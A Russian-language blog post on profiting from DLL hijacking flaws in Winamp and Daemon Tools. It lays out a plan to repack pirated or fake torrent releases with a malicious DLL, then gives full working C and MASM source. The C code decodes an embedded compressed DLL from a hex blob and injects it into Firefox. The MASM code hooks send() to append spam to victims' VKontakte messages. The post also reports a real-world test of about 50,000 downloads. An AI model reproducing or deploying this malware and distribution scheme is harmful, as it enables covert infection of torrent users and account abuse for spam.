Print This Post Прибыльный DLL Hijacking

Воскресенье, 29. Август 2010
Раздел: $$$, Assembler, C/C++, Социальные сети, автор:

Ни для кого не секрет, что за последнее время уязвимость типа DLL Hijacking была найдена в довольно большом количестве популярных приложений (например, Winamp, uTorrent, FireFox, Opera и др.). Суть уязвимости сводится к возможности подгрузки сторонней DLL при открытии некоторых типов файлов этими приложениями.
Решил провести оценку потенциальных возможностей от данного наплыва. Так как специфика уязвимости состоит в том, что зачастую требуется, чтобы инстанс приложения не был запущен до попытки открытия файла, то наиболее актуальными показались следующие уязвимости: уязвимость в Winamp и уязвимость в Daemon tools lite.
Идея использования состоит в следующем: берутся свежие релизы с зарубежных музыкальных и игровых трекеров (например, sceneaccess, waffles, what.cd, blackcats-games), комплектуются dll'кой и перезаливаются на популярные российские трекеры (rutracker, торренты на ВКонтакте и т.д.). Подбирая актуальные новинки, можно получить приличное количество скачиваний в короткие сроки или можно выкладывать фейки альбомов/игр/фильмов.
С помощью фейков удается привлечь большее количество скачиваний в сутки, особенно если следить за раздачами и пересоздавать их в случае разоблачения, реальные раздачи обладают большей стабильностью.

Для тестирования данной идеи была написана DLL, которая обладает следующим функционалом:
1. Ищет процесс FireFox
2. Сплайсит функцию send
3. Добавляет дополнительный текст при отправке личного сообщения на ВКонтакте

Конечно, можно было бы сделать более широкий функционал, например: отправка аккаунтов от различных сервисов на гейт, инжект во все популярные браузеры, а не только в FireFox, инжект в всевозможные icq клиенты, подмена выдачи поисковиков, прописывание себя в реестр в AppInit_DLLs, скачивание и запуск чего-либо из интернета, да, в конце концов, закрепление в системе.
Но целью было исследование эффективности, а не получение прибыли с этого. DLL состоит из двух частей: одна часть на С, другая - на masm. Первая часть хранит в себе вторую и осуществляет поиск процесса и инжект в него второй части. Вторая часть осуществляет сплайсинг функции send и подмену содержимого сообщений. Да, реализация так себе, но, кому надо - тот перепишет под себя.

Код первой части:

#pragma comment(lib, "psapi")
#undef UNICODE
#include <stddef.h>
#include <stdio.h>
#include <windows.h>
#include <psapi.h>
#include <sys/stat.h>
 
#define BUFSIZE 1024
#define DLL_NAME "mem.dll"
 
typedef NTSTATUS (__stdcall *fpRtlDecompressBuffer)(ULONG, PVOID, ULONG, PVOID, ULONG, PULONG);
 
//структура описывает поля, в которых содержится код внедрения
#pragma pack(push, 1)
struct INJECTORCODE
{
	BYTE  instr_push_loadlibrary_arg; //инструкция push
	DWORD loadlibrary_arg;            //аргумент push
 
	WORD  instr_call_loadlibrary;     //инструкция call
	DWORD adr_from_call_loadlibrary;
 
	BYTE  instr_push_exitthread_arg;
	DWORD exitthread_arg;
 
	WORD  instr_call_exitthread;
	DWORD adr_from_call_exitthread;
 
	DWORD addr_loadlibrary;
	DWORD addr_exitthread;     //адрес функции ExitThread
	BYTE  libraryname[100];    //имя и путь к загружаемой библиотеке
};
 
#pragma pack(pop)
 
BOOL InjectDll(DWORD pid, char *lpszDllName)
{
	HANDLE hProcess;
	BYTE *p_code;
	INJECTORCODE cmds;
	DWORD wr, id;
 
	//Открыть процесс с нужным доступом
	hProcess = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|0x1000|PROCESS_VM_OPERATION|PROCESS_VM_WRITE|PROCESS_VM_READ, FALSE, pid);
	if(hProcess == NULL)
	{
		MessageBoxA(NULL, "You have not enough rights to attach dlls", "Error!", 0);
		return FALSE;
	}
 
	//Зарезервировать память в процессе
	p_code = (BYTE*)VirtualAllocEx(hProcess, 0, sizeof(INJECTORCODE),
		MEM_COMMIT, PAGE_READWRITE);
	if(p_code == NULL)
	{
		MessageBox(NULL, "Unable to alloc memory in remote process", "Error!", 0);
		return FALSE;
	}
 
 
 
	//Инициализировать  машинный код
	cmds.instr_push_loadlibrary_arg = 0x68; //машинный код инструкции push
	cmds.loadlibrary_arg = (DWORD)((BYTE*)p_code 
		+ offsetof(INJECTORCODE, libraryname));
 
	cmds.instr_call_loadlibrary = 0x15ff; //машинный код инструкции call
	cmds.adr_from_call_loadlibrary = 
		(DWORD)(p_code + offsetof(INJECTORCODE, addr_loadlibrary));
 
	cmds.instr_push_exitthread_arg  = 0x68;
	cmds.exitthread_arg = 0;
 
	cmds.instr_call_exitthread = 0x15ff; 
	cmds.adr_from_call_exitthread = 
		(DWORD)(p_code + offsetof(INJECTORCODE, addr_exitthread));
 
	cmds.addr_loadlibrary = 
		(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
 
	cmds.addr_exitthread  = 
		(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"ExitThread");
 
	if(strlen(lpszDllName) > 99)
	{
		MessageBox(NULL, "Dll Name too long", "Error!", 0);
		return FALSE;
	}
	strcpy((char*)cmds.libraryname, lpszDllName );
 
	/*После инициализации cmds в мнемонике ассемблера выглядит следующим
	образом:
	push  adr_library_name               ;аргумент ф-ции loadlibrary
	call dword ptr [loadlibrary_adr]     ;вызвать LoadLibrary 
	push exit_thread_arg                 ;аргумент для ExitThread
	call dword ptr [exit_thread_adr]     ;вызвать ExitThread     
	*/
 
	//Записать машинный код по зарезервированному адресу
	WriteProcessMemory(hProcess, p_code, &cmds, sizeof(cmds), &wr);
 
 
	//Выполнить машинный код
	DWORD old_rights;
 
	HANDLE z = CreateRemoteThread(hProcess, NULL, 0, 
		(unsigned long (__stdcall *)(void *))p_code, 0, 0, &id);
 
 
	//Ожидать завершения удаленного потока
	WaitForSingleObject(z, INFINITE);
	//Освободить память
	VirtualFreeEx(hProcess, (void*)p_code, sizeof(cmds), MEM_RELEASE);
 
	return TRUE;
}
 
//Функция установки привилегий отладчика
int AdjustPrivileges() 
{
	HANDLE hToken;
	TOKEN_PRIVILEGES tp;
	TOKEN_PRIVILEGES oldtp;
	DWORD dwSize = sizeof(TOKEN_PRIVILEGES);
	LUID luid;
 
	if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
	{
		if(GetLastError() == ERROR_CALL_NOT_IMPLEMENTED)
			return 1;
 
		return 0;
	}
 
	if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
	{
		CloseHandle(hToken);
		return 0;
	}
 
	ZeroMemory(&tp, sizeof(tp));
	tp.PrivilegeCount = 1;
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
 
	if(!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), &oldtp, &dwSize))
	{
		CloseHandle(hToken);
		return 0;
	}
 
	CloseHandle(hToken);
 
	return 1;
}
 
//Функция проверки существования файла
int file_exists(char * fileName)
{
	struct stat buf;
	return stat(fileName, &buf) ? 0 : 1;
}
 
void on_attach()
{
	if(AdjustPrivileges())
	{
		DWORD junk;
		//Тело DLL в hex после RtlCompressBuffer 
		char *tempbuf = "\xBA\xB7\x00\x4D\x5A\x00\x00\x01\x00\x00\x00\x82\x02\x00\x30\xFF\xFF\x00\x00\x40\x00\x38\xC3\x01\x00\x05\x38\xB4\x4C\xCD\x21\x04\x28\x0E\x00\x01\x01\x8C\x50\x45\x00\x00\x4C\x01\x03\x20\x00\x40\x3D\x7A\x4C\x05\x2E\xE0\x00\x00\x0E\x21\x0B\x01\x05\x0C\x00\x08\xA5\x00\x18\x04\x03\x26\x11\x13\x00\x08\x10\x00\x06\xFE\x20\x04\x72\x01\x16\x00\xE8\x01\x3C\x05\x03\x06\x54\x00\x17\x7C\x65\xF6\x03\x93\x02\x28\x01\x2B\x06\x07\x03\x06\xC0\x90\x17\x00\x00\x30\x00\x07\x4C\x16\x00\x83\x77\x15\xA0\x01\x00\x00\x24\xAC\x19\x1F\x15\x00\x00\x32\x3C\x41\x18\x0F\x2E\x74\x65\x78\x74\x80\x03\xF0\x3E\x07\x04\x48\x81\x75\x03\x58\x06\x00\x00\x75\x60\x2E\xD0\x64\x61\x74\x61\x80\x05\xFC\x01\xB2\x81\x7D\x05\x81\x11\x0A\x8E\xA3\xC0\x2E\x72\x65\x6C\x60\x6F\x63\x00\x00\xB8\x84\x59\x82\x13\x0C\xAD\x8E\x13\x42\x31\x65\x19\x00\xD8\xC0\x4F\xEC\xC0\x00\xAA\xFE\xC0\x00\x14\xC0\x54\x24\xC0\x00\x32\xC0\x00\xAA\x44\xC0\x00\x5A\xC0\x00\x66\xC0\x00\x72\xC0\x00\x35\x01\x00\xA4\xC4\x01\x8C\xC4\x01\x01\x00\x55\x8B\x00\xEC\x68\x63\x21\x40\x00\xFF\x75\x00\x0C\xE8\xF6\x05\x00\x00\x8B\xD8\x14\x68\x77\x84\x03\xE7\x81\x03\xC0\x0B\xDB\x08\x0F\x84\x86\x00\x33\x0B\xC0\x0F\x85\x0A\x7E\xC0\x01\x6A\x41\x00\xFF\x68\x00\x20\x12\x40\x82\x02\xE8\x61\x40\x7E\x8B\xD8\x6A\x54\x04\x68\x41\x51\x53\x00\x04\x56\x00\x04\xA3\x62\x4B\xC0\x10\x53\xFF\x35\x81\x01\x09\x0B\x34\x51\xC0\x06\x6B\xDB\x06\x48\x0B\x28\x41\x0B\x4F\x07\x43\x0B\x81\x01\xC3\x0C\xE8\x4C\x03\x00\x00\x58\x68\x00\x80\x81\x1B\x44\x04\x05\x00\x0A\x03\x60\x5D\x10\x89\x1D\x17\x01\x13\x03\x10\xFF\x22\x35\x02\x03\x00\xE8\xE2\x80\x0B\xA3\x57\x29\x80\x09\x68\x83\x04\x2F\x2A\x01\x2F\xF0\x46\x00\x56\x33\xC9\xEB\x02\x41\xAC\x3C\x00\x26\x75\xFA\x5E\x49\x89\x0D\x1B\xA5\x80\x0B\xA1\x01\x01\x03\x05\x88\x11\x50\x40\x10\x7A\xA0\x41\x10\x5F\x81\x2B\x85\x16\x81\x09\x00\x06\x87\x4D\x01\x06\x53\x42\x26\x43\x04\xFF\x35\x41\x03\x56\x4C\xE8\xA2\x00\x06\xC3\x02\xFF\x35\x01\x0E\xE8\x6E\x7B\x02\x04\x03\x31\x02\x04\x64\x09\x31\xC1\x05\xE8\xBE\x40\x82\x08\x01\x07\x45\x0E\x01\x2D\xC1\x2B\x84\xC9\x0A\x4D\x42\x0F\x14\x49\x04\x01\x0B\xE8\x02\x41\x04\x8D\x09\x86\x0D\xE8\x46\x80\x44\x83\xC0\x04\x50\xC4\xE8\x07\x00\x03\x50\x68\x92\xE2\x1F\x60\x14\x04\xE8\xFD\xE0\x34\x83\xC4\x0C\x68\xA5\x85\x84\x0B\x1D\x61\x34\xF0\x83\xC6\x10\xC5\x21\x82\x0D\xC0\x21\x51\x6A\x00\x68\x1F\xA0\x05\x98\x56\xE8\xD8\xC0\x05\x42\x01\x68\xB6\x41\x08\x5A\xE7\x41\x08\xBA\x43\x08\x24\x0D\xA6\xA1\x01\xC0\xCA\x05\xE8\x25\x70\x20\x02\xA3\x5B\x25\x0E\x62\x06\xEC\xFF\x35\xE1\x01\x24\x06\xB4\x61\x0A\xA5\x17\x22\x02\x26\x44\x20\x02\x43\x04\xE8\x57\x41\x01\x75\x14\x02\x50\x24\x06\x75\x08\x68\xD8\x12\x40\x99\x41\x51\xA1\xF4\xE0\x01\x00\x0D\xFF\xE0\x66\x07\x05\x02\x06\x08\x00\x06\x8B\x45\x10\xEB\x1E\x31\xA0\x06\xFF\x75\x10\x60\x1A\x81\x06\x0D\x13\x11\x8C\x06\x5D\xC2\x10\x01\x02\x83\x7D\x0C\xA0\x01\x75\x6E\x68\xC9\x21\x07\xB6\xE0\x76\x34\xA3\xF0\xE1\x14\xD5\x82\x13\x41\x01\xE8\xA7\x13\x81\x02\xA1\x06\x68\xF8\x22\x3E\x6A\x05\xFF\x32\x35\xC1\x01\xE8\xA6\x00\x03\xC2\x09\xC6\x00\x00\xE9\xB9\x40\x10\x40\x00\x2B\x0D\x41\x82\x0B\xE9\x05\x89\x48\x01\x82\x05\xFF\x56\x35\x42\x06\x05\x06\x75\x00\x06\xB8\x41\x83\xC9\x04\xC2\x0C\x41\x0F\x56\x57\x53\x8B\x75\x00\x0C\x8B\x7D\x08\x8B\xC6\x2B\x45\x00\x0C\x8B\x5D\x10\x83\xEB\x04\x3B\x00\xC3\x72\x02\xEB\x74\x8A\x07\x3C\x00\x80\x73\x4E\x3C\x20\x75\x06\xC6\x00\x06\x2B\x46\xEB\x59\x3C\x00\x76\x00\x04\x3C\x2F\x76\x14\x3C\x3A\x72\x80\x04\x3C\x40\x76\x0C\x3C\x5B\xE0\x00\x02\x60\x60\x02\x7B\x72\x23\x3C\x2E\x74\x00\x1F\x3C\x5F\x74\x1B\x3C\x2D\x74\x80\x17\x0F\xB6\xC0\x50\x68\xDA\x22\x4E\x06\x26\x00\x0D\x60\x32\x83\xC6\x03\xEB\x1A\xA0\x88\x06\x46\xEB\x15\x62\x03\xE1\x62\x03\x02\x0A\x66\x03\x47\x8A\x1F\x84\xDB\x0F\x00\x85\x7B\xFF\xFF\xFF\xC6\x06\x00\x88\x5B\x5F\x5E\x44\x13\x83\xC4\xF8\xA0\x13\x0F\xC2\x77\x42\x78\x20\x28\x20\x40\xE9\xFD\x00\x00\x04\xE8\xB5\x00\x18\x83\xF8\x00\x76\x20\x50\x40\x89\x45\xF8\x88\x3C\x8B\xE0\x02\x0B\x08\xC0\x75\x10\x22\x1C\xEB\x67\xEB\x07\x82\xB8\xA1\x9A\xEB\x5E\x89\x45\xFC\x61\x08\x40\xFF\x75\xF8\xFF\x75\xFC\x2A\x09\x6B\x45\x23\x06\x16\xC5\x37\x75\xFC\xE8\xC1\xCA\xB8\x11\x00\x54\x00\xEB\x26\x45\x37\xFC\xE8\xD1\x2C\xFE\xFF\xC0\x82\x66\x04\x28\xC0\x03\x33\xC0\x23\x64\x15\xC4\x00\xFF\x25\x00\x00\x30\xFF\x25\xAA\x04\xA2\x00\x08\xA2\x00\x0C\xA2\x00\x10\xA2\x00\xAA\x14\xA2\x00\x18\xA2\x00\x1C\xA2\x00\x20\xA2\x00\x2A\x24\xA2\x00\x34\xA0\x00\xCC\x00\x00\x8B\x4C\x00\x24\x10\x8B\x54\x24\x04\x03\xD1\x00\x03\x54\x24\x0C\x8B\x44\x24\x08\x00\x03\xC1\xF7\xD9\x53\x0F\xB6\x1C\x00\x11\x88\x1C\x01\x83\xC1\x01\x75\x60\xF4\x5B\xC6\x00\x00\x00\x47\xA1\x05\xCC\x42\xCC\x02\x25\xFC\x53\x56\x57\x80\x1A\xE8\x4E\x9F\xC0\x12\x60\x1D\xC0\x16\xE8\x94\x40\x01\x29\x00\x45\xFC\x8B\x75\x08\x01\x75\xFC\x01\xE1\x3A\x45\xFC\x01\x8B\x7D\x0C\x83\x00\xEE\x01\xEB\x04\x03\xF1\x8B\xFF\x00\x83\xC6\x01\x39\x75\xFC\x7E\x4C\x00\x0F\xB6\x06\x3A\x03\x74\x09\x88\x00\x07\x83\xC7\x01\xEB\xEA\x8B\xFF\x22\xB9\xC0\x30\xFF\x8B\xD3\x00\x0D\x0F\xB6\x00\x02\x85\xC0\x74\x13\x83\xC2\x01\x60\x38\x04\x31\x74\xEE\x00\x05\x83\x04\xC5\x40\x90\x8B\x55\x14\x83\xE9\xE4\x03\xB3\x33\xE0\x03\xE3\x02\xEF\x90\x62\x07\x22\x07\x04\x31\x00\x88\x04\x39\x85\xC0\x75\xF2\x5F\x18\x5E\x5B\xC9\x66\x15\xE2\x1B\x44\x24\x04\x08\x83\xE8\x04\x60\x40\x80\x38\x00\x74\x00\x30\x80\x78\x01\x00\x74\x20\x80\x00\x78\x02\x00\x74\x10\x80\x78\x03\x10\x00\x75\xE6\x2B\x01\x02\xC0\x03\xC2\xD4\x04\x00\x93\x00\x02\x96\x00\x01\x94\x00\x60\x00\x68\xFF\x25\x2C\xF0\x12\x9C\x30\x64\x05\x00\x7E\xAB\x31\x62\x60\x20\xD0\x38\x01\x98\x30\x01\x34\x30\x01\xEA\xC8\x38\x01\xAE\x30\x01\x2C\x74\x7D\xBF\x69\xBF\x69\x07\xBF\x69\xBF\x69\x01\x00\x34\x01\x47\x65\x74\x00\x4D\x6F\x64\x75\x6C\x65\x48\x61\x60\x6E\x64\x6C\x65\x41\xF0\x62\x31\x01\x50\x00\x72\x6F\x63\x41\x64\x64\x72\x65\x00\x73\x73\x00\x00\x0D\x02\x4D\x75\x00\x6C\x74\x69\x42\x79\x74\x65\x54\x00\x6F\x57\x69\x64\x65\x43\x68\x61\x00\x72\x00\xDD\x02\x56\x69\x72\x74\xA0\x75\x61\x6C\x41\x6C\x32\x79\xDF\xF5\x00\xC0\x46\x72\x65\x65\x00\xE2\xD5\x00\x90\x04\x48\x74\x65\x63\x40\x80\xF0\x02\xA5\x03\x54\x02\x6F\xF6\x04\x00\x13\x03\x6C\x73\x74\x50\x72\x63\x61\x74\x90\x07\x19\xB3\x00\x70\x8A\x79\xB0\x00\x1D\xB2\x00\x6C\x65\x6E\xB0\x00\x00\x6B\x65\x72\x6E\x65\x6C\x33\x32\x00\x2E\x64\x6C\x6C\x00\x00\x7D\x02\x00\x77\x73\x70\x72\x69\x6E\x74\x66\x40\x41\x00\x75\x73\x65\x72\x75\x01\x0C\x10\x01\x53\x74\x72\x20\x00\x41\x00\x73\xC0\x68\x6C\x77\x61\x70\x69\x63\x01\x77\x81\x7D\xB4\x97\xE8\xB0\x0F\x91\x36\x05\x00\xF1\x00\x35\x00\x6D\x0C\x65\x6D\x5C\x03\x03\x00\x0D\x0A\x0D\x0A\x00\xDF\x20\xEF\xEE\xEB\xFC\xE7\xF3\x00\xFE\xF1\xFC\x20\x57\x69\x6E\x61\xFC\x6D\x70\xBF\x18\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\xFF\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x1F\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x06\x00\x50\x4F\x53\x00\x54\x20\x2F\x6D\x61\x69\x6C\x2E\x00\x70\x68\x70\x20\x48\x54\x54\x50\x00\x00\x61\x5F\x77\x72\x69\x74\x65\x80\x5F\x62\x6F\x78\x00\x26\x6D\xB0\x28\x10\x61\x67\x65\x3D\xC2\x18\x00\x43\x6F\x00\x6E\x74\x65\x6E\x74\x2D\x4C\x65\x00\x6E\x67\x74\x68\x3A\x20\x25\x75\x03\x2E\x01\x3F\x02\x73\x00\x77\x73\x6F\x63\x02\x6B\x14\x23\x73\x65\x6E\x64\x00\x25\xE0\x25\x25\x30\x32\x58\x65\x00\x0F\x00\x77\xAE\x01\xF1\xB1\x44\x30\x53\x30\x78\x30\x97\x00\x30\x9E\x30\xA5\x30\xC5\x30\xCC\x00\x30\xD2\x30\xE4\x30\xF2\x30\xFF\x00\x30\x0B\x31\x10\x31\x2E\x31\x33\x00\x31\x39\x31\x4D\x31\x5A\x31\x66\x00\x31\x6C\x31\x74\x31\x80\x31\x86\x00\x31\x91\x31\x97\x31\xA9\x31\xB4\x00\x31\xBA\x31\xC0\x31\xD5\x31\xE7\x00\x31\xF1\x31\xF7\x31\x0B\x32\x10\x00\x32\x1D\x32\x3E\x32\x49\x32\x4E\x00\x32\x53\x32\x61\x32\x7D\x32\x82\x00\x32\x87\x32\x8D\x32\x93\x32\xA5\x00\x32\xB0\x32\xBF\x32\xC7\x32\xCF\x00\x32\xE1\x32\xFC\x32\x04\x33\x1B\x00\x33\x25\x33\x2A\x33\x30\x33\x3A\x00\x33\x3F\x33\x49\x33\x53\x33\x5B\x00\x33\x61\x33\x6C\x33\x72\x33\x7A\x00\x33\xE6\x33\x02\x34\xDC\x34\xE2\x00\x34\xE8\x34\xEE\x34\xF4\x34\xFA\x00\x34\x00\x35\x06\x35\x0C\x35\x12\xE0\x35\x18\x35\x48\x36\xCF\x0B\x0F\x00\x0F\x00\xFF\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\xFF\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0F\x00\x0D\x00";
 
		HMODULE ntdll = GetModuleHandle("ntdll.dll");
		fpRtlDecompressBuffer RtlDecompressBuffer = (fpRtlDecompressBuffer) GetProcAddress(ntdll,"RtlDecompressBuffer");
		//Говнокод
		int buf_len = 4096;
 
		void * uncomp = VirtualAlloc(0,buf_len*2,MEM_COMMIT,PAGE_READWRITE);
		NTSTATUS status = RtlDecompressBuffer
		(
			COMPRESSION_FORMAT_LZNT1,
			uncomp,
			buf_len*2,
			tempbuf,
			buf_len,
			&junk
		);
 
		FreeLibrary(ntdll);
 
		if(status != NULL)
		{
			VirtualFree(uncomp,0,MEM_RELEASE);
			return;
		}
		//Сохраняем dll в файл
		HANDLE file = CreateFile(DLL_NAME,GENERIC_WRITE,0,0,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
		WriteFile(file, (char *)uncomp, junk, &junk, 0);
		CloseHandle(file);
 
		VirtualFree(uncomp,0,MEM_RELEASE);
 
		if(file_exists(DLL_NAME))
		{
			char dll_path[BUFSIZE];
			GetFullPathName(DLL_NAME, BUFSIZE, dll_path, NULL);
 
			DWORD ids[255], size, pid = 0;
			if(!EnumProcesses(ids, sizeof(ids), &size))
				return;
 
			char prname[64];
			size_t i, j = size/sizeof(DWORD);
			//Ищем процесс firefox
			for(i = 0; i < j; i++)
			{
				HANDLE pr = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, ids[i]);
				if(pr != NULL)
				{
					GetModuleBaseName(pr, NULL, prname, sizeof(prname)/sizeof(DWORD));
					if(strstr(prname, "firefox."))
					{
						pid = ids[i];
						break;
					}
				}
				CloseHandle(pr);
			}
 
			if(pid)
				InjectDll(pid, dll_path);
		}
	}
}
 
BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved)
{
	switch (reason)
	{
		case DLL_PROCESS_ATTACH:
			on_attach();
 
		break;
 
		case DLL_PROCESS_DETACH:
		break;
 
		case DLL_THREAD_ATTACH:
		break;
 
		case DLL_THREAD_DETACH:
		break;
	}
 
	return TRUE;
}

Пример использования функции RtlCompressBuffer для сжатия файла можно посмотреть тут.
Преобразовать сжатый файл в hex можно следующим скриптом на Perl:

use warnings;
 
open F, '<', 'compressed.txt' or die $!;
undef $/;
my $str = <F>;
close F;
 
open F, '>', 'hex.txt' or die $!;
for my $ch(split //, $str)
{
	print F '\x',sprintf("%02X", ord($ch));
}
close F;

Код второй части:

.486
.model flat, stdcall
option casemap :none
 
 
include \masm32\include\windows.inc
include \masm32\macros\macros.asm
include \masm32\macros\windows.asm
include \masm32\macros\inject.asm
 
uselib kernel32, user32, masm32, Shlwapi
 
urlencodeW proto :DWORD, :DWORD, :DWORD
 
.data
;Сообщение, которое будет добавляться к тексту, отправляемому пользователем
message_add db 13,10,"payload",0
 
textlen dd 0
mess_len dd 0
 
misc db 100 dup (0)
header db 100 dup (0)
header1 db 100 dup (0)
 
message_w dword ?
message_add_urlenc dword ?
message dword ?
request dword ?
request_final dword ?
temp dword ?
 
 
iAlloc MACRO size:REQ
invoke VirtualAlloc,0,&size,MEM_COMMIT,PAGE_READWRITE
EXITM <eax>
ENDM
 
iFree MACRO memaddr:REQ
invoke VirtualFree,&memaddr,0,MEM_RELEASE
ENDM
 
.code
 
MyFunc:
	push ebp
	mov ebp,esp
 
	;__in  SOCKET s, __in  const char *buf, __in  int len, __in  int flags
 
	mov ebx,FUNC(StrStrA,[ebp+12],chr$("POST /mail.php HTTP"))
	mov eax,FUNC(StrStrA,[ebp+12],chr$("act=sent"))
 
	.if ebx != 0 && eax != 0
		;Определяем необходимый размер буфера
		invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,0,0
		mov ebx,eax
		;Создаем буфер
		mov message_w,iAlloc(ebx)
		;Кодируем
		invoke MultiByteToWideChar,CP_ACP,0,offset message_add,-1,message_w,ebx
		;Мега буфер для urlenc сообщения
		mov eax,6
		mul ebx
		mov message_add_urlenc,iAlloc(ebx)
		invoke urlencodeW,message_w,message_add_urlenc,ebx
 
		iFree message_w
		;размер = сообщение после обработки + исходный запрос
		add ebx,[ebp+16]
		mov textlen,ebx
 
 
		;Буфер по размеру текста
		mov request,iAlloc(textlen)
 
		invoke StrStr,[ebp+12],chr$("&message=")
		mov esi,eax
		;пропуск &
		inc esi
		push esi
 
		xor ecx,ecx
		.while al != '&'
			inc ecx
			lodsb
		.endw
		pop esi
 
		;размер сообщения
		dec ecx
		mov mess_len,ecx
 
		;размер оригинал + добавка
		mov eax,mess_len
		add eax,textlen
 
		;Буфер для них
		mov temp,iAlloc(eax)
 
		;Буфер для оригинала сообщения
		mov message,iAlloc(mess_len)
 
		;в message оригинальное сообщение
		fn szMid,esi,message,0,mess_len
		;Копируем оригинал в temp
		invoke lstrcpy,temp,message
 
		;Объединяем тексты
		invoke lstrcat,temp,message_add_urlenc
 
		;Освобождаем буфер с добавляемым сообщением
		iFree message_add_urlenc
 
		;Замена
		fn szRep,[ebp+12],request,message,temp
 
 
		;Уже не надо
		iFree temp
		iFree message
 
		;Тело запроса
		invoke StrStr,request,chr$(13,10,13,10)
		add eax,4
 
		;Размер тела
		invoke lstrlen,eax
 
		;Делаем новый заголовок
		invoke wsprintf,offset header,chr$("Content-Length: %u"),eax
 
 
		invoke StrStr,[ebp+12],chr$("Content-Length: ")
		mov esi,eax
		add esi,16
 
		push esi
 
		xor ecx,ecx
		.while al != 13 ; \r
			inc ecx
			lodsb
		.endw
 
		pop esi
 
		;Старый размер
		fn szMid,esi,offset misc,0,ecx
 
		;Делаем старый заголовок
		invoke wsprintf,offset header1,chr$("Content-Length: %s"),offset misc
 
		invoke lstrlen,request
		add eax,5
 
		mov request_final,iAlloc(eax)
 
		;Замена
		fn szRep,request,request_final,offset header1,offset header
 
		iFree request
 
		;Размер буфера к отправке
		invoke lstrlen,request_final
		HOOK_ORIGINAL_CALL_PARAM send,1,[ebp+8],request_final,eax,[ebp+20]
 
		iFree request_final
 
		;Возвращаем размер оригинального запроса
		mov eax,[ebp+16]
 
	.else
 
		HOOK_ORIGINAL_CALL send, 4
 
	.endif
 
 
	pop ebp
	retn 4*4
 
 
LibMain proc instance:DWORD,reason:DWORD,reserved:DWORD
 
	.if reason == DLL_PROCESS_ATTACH 
		;Ставим хук
		SET_HOOK wsock32.dll, send, MyFunc
		;Успешный атач
		mov eax,1
	.endif
 
	ret
LibMain ENDP
 
urlencode PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD
  push esi
  push edi
  push ebx
 
  mov esi,result_buffer
  mov edi,text_to_convert
 
 
  loop_enc:
    mov eax,esi
    sub eax,result_buffer
    mov ebx,result_buffer_len
    sub ebx,4
 
    .if eax>=ebx
      jmp loop_enc_end
    .endif
 
    mov al,byte ptr [edi]
 
  .if al<80h
    .if al==' '
      mov byte ptr [esi],'+'
      inc esi
    .elseif ((al>0 && al<=47) || (al>=58 && al<=64) || (al>=91 && al<=96) || al>=123) && al!='.' && al!='_' && al!='-'
      movzx eax,al
      invoke wsprintf,esi,chr$("%%%02X"),eax
      add esi,3
    .else
      mov byte ptr [esi],al
      inc esi
    .endif
  .else
      movzx eax,al
      invoke wsprintf,esi,chr$("%%%02X"),eax
      add esi,3
  .endif
 
    inc edi
    mov bl,byte ptr [edi]
    test bl,bl
  jne loop_enc
 
loop_enc_end:
 
  mov byte ptr [esi],0
  pop ebx
  pop edi
  pop esi
ret
urlencode ENDP
 
urlencodeW PROC text_to_convert :DWORD, result_buffer :DWORD, result_buffer_len :DWORD
  LOCAL convert_buffer :DWORD
  LOCAL convert_buffer_len :DWORD
 
  push esi
  push edi
  push ebx
 
  invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,0,0,0,0
  .if eax>0
    inc eax
    mov convert_buffer_len,eax
 
    invoke VirtualAlloc,0,eax,MEM_COMMIT,PAGE_READWRITE
    .if eax==0
      mov eax,1
      jmp conv_error
    .endif
  .else
    mov eax,2
    jmp conv_error
  .endif
 
  mov convert_buffer,eax
 
  invoke WideCharToMultiByte,CP_UTF8,0,text_to_convert,-1,convert_buffer,convert_buffer_len,0,0
 
  .if eax==0
    invoke VirtualFree,convert_buffer,0,MEM_RELEASE
    mov eax,3
    jmp conv_error
  .endif
 
  invoke urlencode,convert_buffer,result_buffer,result_buffer_len
 
  invoke VirtualFree,convert_buffer,0,MEM_RELEASE
 
  xor eax,eax
  pop ebx
  pop edi
  pop esi
ret
 
conv_error:
  pop ebx
  pop edi
  pop esi
ret
urlencodeW ENDP
 
end LibMain

inject.asm, используемый в коде, представляет собой набор макросов из статьи "Делаем собственный инжектор". Данный файл на всякий случай включен в архив в конце статьи.

Если у Вас возникают проблемы с пониманием кода, то советую обратиться к следующим статьям: раз, два, три. Необходимые инструменты для компиляции второй части можно найти тут.

Результат работы выглядит следующим образом:
1. Пользователь пишет сообщение, нажимает отправить

2. В исходящих оказывается сообщение с пользовательским текстом и добавкой из библиотеки

Ужасно тривиально.
Чем это полезно? Во-первых, можно осуществлять рассылки без необходимости приобретения актуальных программ для этих целей, во-вторых, не требуются прокси, т.к. рассылку осуществляет владелец аккаунта (хотя объемы рассылки будут заметно ниже, ибо не каждый общается со всем своим контакт-листом каждый день), в-третьих, такие рассылки с большей вероятностью проходят фильтр на основе теоремы Байеса (меньше вероятность того, что получатель нажмет кнопку "Это спам", большее разнообразие текстов).

Знакомый человек протестировал данную систему, и вот что у него получилось.
1. Было создано 10 разных раздач на нескольких трекерах.
2. В качестве контента использовались новинки из области музыки, игр и фильмов (т.к. mpc тоже уязвим).
3. Одна удачная раздача набрала ~8900 скачиваний всего за несколько дней.

4. Суммарно 10 раздач были скачаны ~50000 раз

